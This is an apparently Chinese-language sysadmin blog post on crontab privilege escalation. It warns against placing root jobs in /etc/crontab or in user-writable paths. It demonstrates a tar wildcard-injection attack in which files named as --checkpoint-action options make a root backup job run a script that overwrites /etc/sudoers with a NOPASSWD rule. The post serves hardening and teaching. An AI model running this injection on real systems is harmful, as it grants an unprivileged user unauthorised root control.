Linux crontab提权攻击

2017年8月23日 发表评论 阅读评论

crontab定时任务是LINUX上最常用的一个功能,不过使用不当很容易受到提权。使用crontab时请注意以下两点:

  • crontab任务千万不要写到/etc/crontab文件里,这是很危险的。通过crontab -e去创建,让他写到默认的/var/spool/cron下;
  • 能不用 root 去创建尽量不用,如果一定要用root,请保存到一个其他用户进不去、改不了、看不了的位置(最好能用chattr处理下)。

为什么有这样的警告,请看下面的示例。

一、位置不当引发的提权

假设当前我们用 root 用户创建了如下一个任务:

*/2 * * * *  root sh /home/elk/test.sh

具体内容如下:

echo  www.361way.com > /tmp/test

/home/elk/test.sh文件的权限我们设置为600,属主和属组都设为root,感觉上应该还挺安全的吧,实际呢?看下图:

cron-sec

root并且为600权限,看起来确实不错,我们切换到elk用户时,使用echo确实发现无法正常写入(chown和chmod也不会成功的)。但由于文件存放的位置在elk的家目录下,所以elk用户实际上是有修改文件的权限的。使用vim编辑文件时,实际是可以强制修改的,而且修改后文件的属主也会变掉,当然也可以使用上面截图里的方法,mv走以后,再新建一个,内容是什么就随便你自己写了。而上面的哪段sudo的话应该也不用解释了吧。

二、tar备份引发的提权

比如我们在/etc/crontab下创建一个定时备份的任务,类似如下,这种情况是我们经常遇到的吧:

10  02  * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*

当然,便于测试,我们可以把这个crontab任务的执行时间改快点,比如1分钟执行一次,为了便于演示这个效果,我这里就以直接执行的方式操作了:

[root@localhost data]# wc -l /etc/sudoers && cp /etc/sudoers /etc/sudoers.bak
113 /etc/sudoers
[root@localhost data]# su - zabbix
[zabbix@localhost ~]$ cd /data && ls -l
total 4
-rw-r--r-- 1 root root 84 Dec 29 17:50 demo.c
[zabbix@localhost data]$ echo 'echo "zabbix ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
[zabbix@localhost data]$ echo "" > "--checkpoint-action=exec=sh test.sh"
[zabbix@localhost data]$ echo "" > --checkpoint=1
[zabbix@localhost data]$ ll
total 16
-rw-rw-r-- 1 zabbix zabbix  1 Dec 29 17:54 --checkpoint=1
-rw-rw-r-- 1 zabbix zabbix  1 Dec 29 17:54 --checkpoint-action=exec=sh test.sh
-rw-r--r-- 1 root   root   84 Dec 29 17:50 demo.c
-rw-rw-r-- 1 zabbix zabbix 54 Dec 29 17:54 test.sh

tar-privilege

当然,这个执行成功的条件稍微要求有些苛刻。但还是存在这种可能,而且一些人会把备份内容写成脚本,在脚本里也未必不是这种用法。而使用tar时为什么出现这种情况,让我们看下tar的checkpoint相关参数:

--checkpoint[=NUMBER]
      display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION
      execute ACTION on each checkpoint

而上面的例子中我们创建了相关的文件,实际在执行过程中,由于我们将checkpoint值设为1,即每个文件执行一次action动作,其就将文件当成了参数,执行了sh test.sh的动作,而由于我们的crontab任务是以root权限运行的。所以test.sh里的内容都会以root权限执行。

另外这个示例中被利用的另一个条件就是crontab任务写到了/etc/crontab中,这个文件是所有用户都有读的权限的,这就会让普通用户能看到root用户执行的内容。而如果直接是crontab -e命令执行的呢,则不存在这个问题,因为crontab -e执行的结果是保存在/var/spool/cron下的,而这个目录下普通用户是没有权限查看的,如下:

[zabbix@localhost ~]$ ls -l /var/spool/cron
ls: cannot open directory /var/spool/cron: Permission denied

cron目录对的是root用户root组,其权限是700。




本站的发展离不开您的资助,金额随意,欢迎来赏!

You can donate through PayPal.
My paypal id: itybku@139.com
Paypal page: https://www.paypal.me/361way

分类: 安全/漏洞 标签: ,
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.